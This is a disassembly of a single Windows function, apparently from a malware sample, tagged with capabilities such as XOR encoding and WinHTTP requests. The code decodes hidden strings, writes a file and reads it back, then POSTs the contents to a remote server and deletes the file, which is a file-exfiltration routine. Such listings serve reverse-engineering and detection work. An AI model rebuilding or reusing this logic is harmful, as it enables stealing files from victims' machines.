Function at 0x431b8c
Capabilities:
Delete file
Encode data using xor
Get file size
Initialize winhttp library
Prepare http request
Read file on windows
Receive http response
Write file on windows

Disassembly:
mov eax, 0x4685b5
call fcn.00465ac0
sub esp, 0x6e4
movaps xmm0, xmmword [0x47c310]
movups xmmword [ebp - 0x162], xmm0
push ebx
movaps xmm0, xmmword [0x47c350]
xor ebx, ebx
movups xmmword [ebp - 0x152], xmm0
push esi
movaps xmm0, xmmword [0x47c250]
mov esi, edx
movups xmmword [ebp - 0x142], xmm0
mov edx, ebx
mov dword [ebp - 0x44], ecx
movaps xmm0, xmmword [0x47c2e0]
push edi
movups xmmword [ebp - 0x132], xmm0
mov dword [ebp - 0x122], 0xeddc80e0
mov dword [ebp - 0x11e], 0x80e1c180
mov dword [ebp - 0x11a], 0xdb89fbd4
mov word [ebp - 0x116], 0xee
mov cl, byte [ebp - 0x162]
not cl
xor byte [ebp + edx - 0x161], cl
inc edx
cmp edx, 0x4c
jb 0x431c07
movaps xmm0, xmmword [0x47c390]
mov edx, ebx
movups xmmword [ebp - 0xac], xmm0
mov byte [ebp - 0x115], bl
movaps xmm0, xmmword [0x47c280]
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x8c], 0xcd9fedc2
mov dword [ebp - 0x88], 0x8383f8
mov cl, byte [ebp - 0xac]
not cl
xor byte [ebp + edx - 0xab], cl
inc edx
cmp edx, 0x26
jb 0x431c54
movaps xmm0, xmmword [0x47c270]
mov edx, ebx
movups xmmword [ebp - 0xfa], xmm0
mov byte [ebp - 0x85], bl
movaps xmm0, xmmword [0x47c380]
movups xmmword [ebp - 0xea], xmm0
mov dword [ebp - 0xba], 0xa4b1b4fd
movaps xmm0, xmmword [0x47c2b0]
movups xmmword [ebp - 0xda], xmm0
mov dword [ebp - 0xb6], 0xbef0ebb1
movaps xmm0, xmmword [0x47c2d0]
movups xmmword [ebp - 0xca], xmm0
mov dword [ebp - 0xb2], 0xedb5bdb1
mov word [ebp - 0xae], 0xf2
mov cl, byte [ebp - 0xfa]
not cl
xor byte [ebp + edx - 0xf9], cl
inc edx
cmp edx, 0x4c
jb 0x431cd0
mov edx, esi
mov byte [ebp - 0xad], bl
lea ecx, [ebp - 0xf9]
call fcn.00433ad6
mov edi, eax
mov dword [ebp - 0x33], 0x918a934e
mov cl, 0x4e
mov dword [ebp - 0x2f], 0xd4ddd8d7
mov dword [ebp - 0x2b], 0xd4dcd0df
mov edx, ebx
mov word [ebp - 0x27], 0x938c
mov byte [ebp - 0x25], bl
not cl
xor byte [ebp + edx - 0x32], cl
inc edx
cmp edx, 0xd
jae 0x431d2d
mov cl, byte [ebp - 0x33]
jmp 0x431d1c
lea edx, [ebp - 0x32]
mov byte [ebp - 0x25], bl
mov ecx, edi
call fcn.00433ad6
mov edx, esi
mov ecx, eax
call fcn.00433ad6
movaps xmm0, xmmword [0x47c2c0]
mov esi, eax
movups xmmword [ebp - 0xdf], xmm0
mov edx, ebx
mov word [ebp - 0xaf], 0x9196
movaps xmm0, xmmword [0x47c3b0]
movups xmmword [ebp - 0xcf], xmm0
mov byte [ebp - 0xad], bl
movaps xmm0, xmmword [0x47c260]
movups xmmword [ebp - 0xbf], xmm0
mov cl, byte [ebp - 0xdf]
not cl
xor byte [ebp + edx - 0xde], cl
inc edx
cmp edx, 0x31
jb 0x431d80
lea edx, [ebp - 0xde]
mov byte [ebp - 0xad], bl
mov ecx, esi
call fcn.00433ad6
mov dword [ebp - 0x84], ebx
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x74], ebx
mov dword [ebp - 0x70], 0xf
mov byte [ebp - 0x84], bl
mov dword [ebp - 4], ebx
mov cl, 0xf
mov dword [ebp - 0x20], ebx
mov edx, ebx
mov dword [ebp - 0x1a], 0x998ade0f
mov word [ebp - 0x16], 0x80
not cl
xor byte [ebp + edx - 0x19], cl
inc edx
cmp edx, 4
jae 0x431de9
mov cl, byte [ebp - 0x1a]
jmp 0x431dd8
push 0xb
pop edx
lea ecx, [ebp - 0x1e0]
mov byte [ebp - 0x15], bl
call fcn.00433f04
xor ecx, ecx
inc ecx
mov byte [ebp - 4], cl
cmp dword [eax + 0x14], 0x10
jb 0x431e08
mov eax, dword [eax]
lea edx, [ebp - 0x19]
mov ecx, eax
call fcn.00433ad6
mov esi, eax
call fcn.00433f77
mov edx, esi
mov ecx, eax
call fcn.00433ad6
mov edi, eax
mov byte [ebp - 4], bl
lea ecx, [ebp - 0x1e0]
mov dword [ebp - 0x50], edi
call fcn.0041332b
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov esi, dword [0x48a8e0]
test esi, esi
jne 0x431e53
mov dword [ebp - 0x10], ebx
mov eax, 0x10000
mov dword [ebp - 0x14], ebx
jmp 0x431e9a
cmp dword [esi], 2
je 0x431e6e
mov ecx, dword [ebp - 0x1b0]
mov eax, 0x80000
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp - 0x1b4]
jmp 0x431e97
mov esi, dword [esi + 4]
cmp byte [esi + 0x2c], 0
jne 0x431e7e
mov ecx, esi
call fcn.0043cbfe
mov eax, dword [esi + 0x18]
xor edx, edx
mov ecx, dword [esi + 0x20]
test ecx, ecx
mov dword [ebp - 0x14], eax
mov eax, 0x20000
mov byte [esi + 0x2c], 1
cmovne eax, edx
mov dword [ebp - 0x10], ecx
push ebx
push 0x80
push 2
push ebx
push ebx
push 0x40000000
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [0x48a8dc], eax
call edi
push ebx
mov esi, eax
lea eax, [ebp - 0x1b8]
push eax
push dword [ebp - 0x14]
push dword [ebp - 0x10]
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push dword [ebp - 0x50]
call edi
mov dword [ebp - 0x4c], eax
test eax, eax
je 0x43238c
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x40], eax
lea ecx, [eax + 0x800]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push dword [0x48a8fc]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebx, eax
mov dword [ebp - 0x14], ebx
call edi
mov esi, eax
lea ecx, [esi + 1]
push ecx
push dword [0x48a8fc]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcpynA]
call ebx
mov eax, dword [ebp - 0x14]
push dword [ebp - 0x24]
add eax, esi
mov dword [ebp - 0x10], eax
call edi
mov esi, eax
lea ecx, [esi + 1]
push ecx
push dword [ebp - 0x24]
mov ecx, dword [ebp - 0x10]
push ecx
call ebx
mov eax, dword [ebp - 0x10]
lea ecx, [ebp - 0x6c]
push 0
push ecx
push dword [ebp - 0x40]
add eax, esi
push eax
push dword [ebp - 0x4c]
mov dword [ebp - 0x10], eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [ebp - 0x10]
add eax, dword [ebp - 0x6c]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0xab]
push eax
call edi
mov edi, dword [ebp - 0x10]
mov esi, eax
lea eax, [ebp - 0xab]
lea ecx, [esi + 1]
push ecx
push eax
push edi
call ebx
xor ebx, ebx
add edi, esi
sub edi, dword [ebp - 0x14]
push ebx
push ebx
push ebx
push ebx
push ebx
mov dword [ebp - 0x10], edi
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov esi, dword [sym.imp.WINHTTP.dll_WinHttpSetOption]
mov edi, eax
push 4
lea eax, [ebp - 0x48]
mov dword [ebp - 0x40], edi
push eax
push 6
push edi
mov dword [ebp - 0x48], 0xf4240
call esi
push 4
lea eax, [ebp - 0x48]
push eax
push 5
push edi
call esi
lea eax, [ebp - 0x6f0]
push eax
lea eax, [ebp - 0x2f0]
push eax
lea eax, [ebp - 0x1c8]
push eax
push str.__:_:_________n_
push dword [ebp - 0x44]
call fcn.00431b67
lea eax, [ebp - 0x1c8]
push str.https
push eax
call fcn.00443590
add esp, 0x1c
movzx ecx, bl
test eax, eax
push 1
pop eax
cmove ecx, eax
mov dword [ebp - 0x44], ecx
test edi, edi
je 0x432362
lea eax, [ebp - 0x2f0]
push eax
test cl, cl
je 0x43207d
mov dword [ebp - 0x3c], ebx
lea ecx, [ebp - 0x3c]
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x28], 0xf
mov byte [ebp - 0x3c], bl
call fcn.0041338c
lea edx, [ebp - 0x3c]
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x1f8]
call fcn.00436f5b
cmp dword [eax + 0x14], 8
jb 0x43205a
mov eax, dword [eax]
push ebx
push 0x1bb
push eax
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov esi, eax
lea ecx, [ebp - 0x1f8]
mov dword [ebp - 0x24], esi
call fcn.0041314d
lea ecx, [ebp - 0x3c]
jmp 0x4320e2
mov dword [ebp - 0x17c], ebx
lea ecx, [ebp - 0x17c]
mov dword [ebp - 0x16c], ebx
mov dword [ebp - 0x168], 0xf
mov byte [ebp - 0x17c], bl
call fcn.0041338c
lea edx, [ebp - 0x17c]
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x210]
call fcn.00436f5b
cmp dword [eax + 0x14], 8
jb 0x4320c1
mov eax, dword [eax]
push ebx
push 0x50
push eax
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpConnect]
lea ecx, [ebp - 0x210]
mov dword [ebp - 0x24], eax
mov esi, eax
call fcn.0041314d
lea ecx, [ebp - 0x17c]
mov byte [ebp - 4], bl
call fcn.0041332b
test esi, esi
je 0x43235b
cmp byte [ebp - 0x44], 0
lea eax, [ebp - 0x6f0]
push eax
je 0x43216d
mov dword [ebp - 0x194], ebx
lea ecx, [ebp - 0x194]
mov dword [ebp - 0x184], ebx
mov dword [ebp - 0x180], 0xf
mov byte [ebp - 0x194], bl
call fcn.0041338c
lea edx, [ebp - 0x194]
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x228]
call fcn.00436f5b
cmp dword [eax + 0x14], 8
jb 0x432143
mov eax, dword [eax]
push 0x800100
push ebx
push ebx
push ebx
push eax
push str.POST
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
lea ecx, [ebp - 0x228]
mov edi, eax
call fcn.0041314d
lea ecx, [ebp - 0x194]
jmp 0x4321d9
mov dword [ebp - 0x1ac], ebx
lea ecx, [ebp - 0x1ac]
mov dword [ebp - 0x19c], ebx
mov dword [ebp - 0x198], 0xf
mov byte [ebp - 0x1ac], bl
call fcn.0041338c
lea edx, [ebp - 0x1ac]
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x9c]
call fcn.00436f5b
cmp dword [eax + 0x14], 8
jb 0x4321b1
mov eax, dword [eax]
push 0x100
push ebx
push ebx
push ebx
push eax
push str.POST
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
lea ecx, [ebp - 0x9c]
mov edi, eax
call fcn.0041314d
lea ecx, [ebp - 0x1ac]
mov byte [ebp - 4], bl
call fcn.0041332b
test edi, edi
je 0x432351
lea eax, [ebp - 0x161]
mov dword [ebp - 0x68], ebx
push eax
lea ecx, [ebp - 0x68]
mov dword [ebp - 0x58], ebx
mov dword [ebp - 0x54], 0xf
mov byte [ebp - 0x68], bl
call fcn.0041338c
lea edx, [ebp - 0x68]
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x114]
call fcn.00436f5b
cmp dword [eax + 0x14], 8
jb 0x432222
mov eax, dword [eax]
mov ecx, dword [ebp - 0x10]
push ebx
push ecx
push ecx
mov ecx, dword [ebp - 0x14]
push ecx
push 0xffffffffffffffff
push eax
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
lea ecx, [ebp - 0x114]
mov esi, eax
call fcn.0041314d
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], bl
call fcn.0041332b
test esi, esi
je 0x4323b3
push ebx
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
test eax, eax
je 0x4323af
lea eax, [ebp - 0x20]
mov dword [ebp - 0x20], ebx
push eax
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
test eax, eax
je 0x4323a8
mov eax, dword [ebp - 0x20]
inc eax
push eax
call fcn.0043e76e
mov ecx, dword [ebp - 0x20]
mov esi, eax
inc ecx
push ecx
push ebx
push esi
call fcn.00440e40
add esp, 0x10
lea eax, [ebp - 0x1bc]
push eax
push dword [ebp - 0x20]
push esi
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
je 0x43233d
mov dword [ebp - 0x68], ebx
lea ecx, [ebp - 0x68]
push esi
mov dword [ebp - 0x58], ebx
mov dword [ebp - 0x54], 0xf
mov byte [ebp - 0x68], bl
call fcn.0041338c
mov byte [ebp - 4], 7
lea eax, [ebp - 0x84]
cmp dword [ebp - 0x70], 0x10
push dword [ebp - 0x74]
cmovae eax, dword [ebp - 0x84]
push eax
push ecx
lea ecx, [ebp - 0x68]
call fcn.00419c7e
push eax
lea ecx, [ebp - 0x114]
mov dword [ebp - 0x114], ebx
mov dword [ebp - 0x104], ebx
mov dword [ebp - 0x100], ebx
call fcn.00413478
lea ecx, [ebp - 0x84]
call fcn.0041332b
lea eax, [ebp - 0x114]
push eax
lea ecx, [ebp - 0x84]
call fcn.00413478
lea ecx, [ebp - 0x114]
call fcn.0041332b
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], bl
call fcn.0041332b
push esi
call fcn.0043e4ae
cmp dword [ebp - 0x20], 0
pop ecx
ja 0x432266
mov esi, dword [ebp - 0x24]
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov edi, dword [ebp - 0x40]
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
push dword [ebp - 0x4c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x50]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
push dword [ebp - 0x14]
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
lea ecx, [ebp - 0x84]
call fcn.0041332b
mov ecx, dword [ebp - 0xc]
mov eax, ebx
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
xor eax, eax
lea ebx, [eax + 1]
jmp 0x43238c
push 2
jmp 0x4323b5
push 3
pop ebx
jmp 0x43238c